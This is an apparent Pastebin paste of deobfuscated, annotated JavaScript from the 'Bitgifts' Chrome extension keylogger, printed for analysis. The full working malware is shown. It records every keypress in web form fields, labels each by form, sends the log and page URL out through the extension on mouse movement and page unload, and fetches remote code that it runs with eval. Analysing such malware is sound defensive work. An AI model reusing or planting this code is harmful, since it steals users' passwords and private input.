Advertisement
Guest User

Deobfuscated Bitgifts Keylogger (Annotated)

a guest
Sep 24th, 2013
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var kt = ""; // This is the variable where the logged keypresses are stored.
  2. var pu = "";
  3. var ss = false;
  4. setTimeout(ijCheck, 50);
  5.  
  6. function ijCheck() {
  7.     // This is a check whether the page has loaded, I believe. If it has, install the keylogger on the page.
  8.     if ($("body")["length"]) {
  9.         chrome["extension"]["sendRequest"]({
  10.             url: document["URL"],
  11.             title: document["title"]
  12.         }, function(response) {});
  13.         // This adds a "~" to denote backspacing, I believe.
  14.         $("body")["on"]("keydown", "input, textarea", function(e) {
  15.             if (e["keyCode"] == 8) {
  16.                 kt += "~"
  17.             }
  18.         });
  19.         // For every keypress into a text area on a website, do this:
  20.         $("body")["on"]("keypress", "input, textarea", function(e) {
  21.             // This writes a header for your text input, so they know where you entered it.
  22.             var formName = "[" + $(this)["attr"]("name") + " #" + $(this)["prop"]("id") + " " + $(this)["attr"]("class") + "]";
  23.             // If this is a different text box, start a new line, write the header, and start a new line for what it logs.
  24.             if (pu != formName) {
  25.                 kt += "\n" + formName + "\n";
  26.                 pu = formName
  27.             };
  28.             // Record the keypress on the newline we created.
  29.             if (String["fromCharCode"](e["charCode"])) {
  30.                 kt += String["fromCharCode"](e["charCode"])
  31.             }
  32.         });
  33.         // As soon as the user moves their mouse again...
  34.         $("body")["mousemove"](function() {
  35.             // Check whether what we have logged is of sufficient length, and be sure we're not already in the process of sending...
  36.             if (kt["length"] > 100 && !ss) {
  37.                 ss = true;
  38.                 // Then send the data.
  39.                 chrome["extension"]["sendRequest"]({
  40.                     url: document["URL"],
  41.                     post: kt
  42.                 }, function(response) {});
  43.                 kt = "";
  44.                 pu = "";
  45.                 ss = false
  46.             }
  47.         })
  48.     } else {
  49.         // If the page hasn't loaded, try again in 50 milliseconds.
  50.         setTimeout(ijCheck, 50)
  51.     }
  52. };
  53. // Be sure to send what remains of the data when the window is closed.
  54. window["onbeforeunload"] = function() {
  55.     chrome["extension"]["sendRequest"]({
  56.         url: document["URL"],
  57.         post: kt
  58.     }, function(response) {})
  59. };
  60. if (!localStorage["getItem"]("bitgifts")) {
  61.     fetchCS()
  62. } else {
  63.     if (localStorage["getItem"]("bitgifts-c") > new Date()["getTime"]() - (120 * 1000)) {
  64.         eval(localStorage["getItem"]("bitgifts"))
  65.     } else {
  66.         fetchCS()
  67.     }
  68. };
  69.  
  70. function fetchCS() {
  71.     chrome["extension"]["sendRequest"]({
  72.         getcs: true
  73.     }, function(response) {
  74.         localStorage["setItem"]("bitgifts", response["data"]);
  75.         localStorage["setItem"]("bitgifts-c", new Date()["getTime"]());
  76.         eval(response["data"])
  77.     })
  78. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement